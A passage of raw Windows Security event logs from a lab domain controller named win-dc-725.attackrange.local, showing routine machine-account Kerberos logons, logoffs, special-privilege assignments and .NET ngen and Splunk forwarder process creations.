Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254232 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD4F00 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254244 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5127 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254243 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD5127 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62433 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254242 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5127 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254241 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD50BB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254240 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD50BB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62432 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254239 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD50BB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254238 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD501B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254236 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD501B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62431 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254235 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD501B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254250 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD53D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254249 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD53D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62436 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254248 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD53D7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254247 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD534F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254246 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD534F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62435 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254245 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD534F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:02:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 240 -Pipe 25c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254253 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 240 -InterruptEvent 0 -NGENProcess 284 -Pipe 238 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254252 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 288 -Pipe 274 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254254 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x103c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 280 -Pipe 2b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254255 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 268 -InterruptEvent 0 -NGENProcess 26c -Pipe 254 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254269 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254268 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 278 -Pipe 268 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 15c -Pipe 240 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative 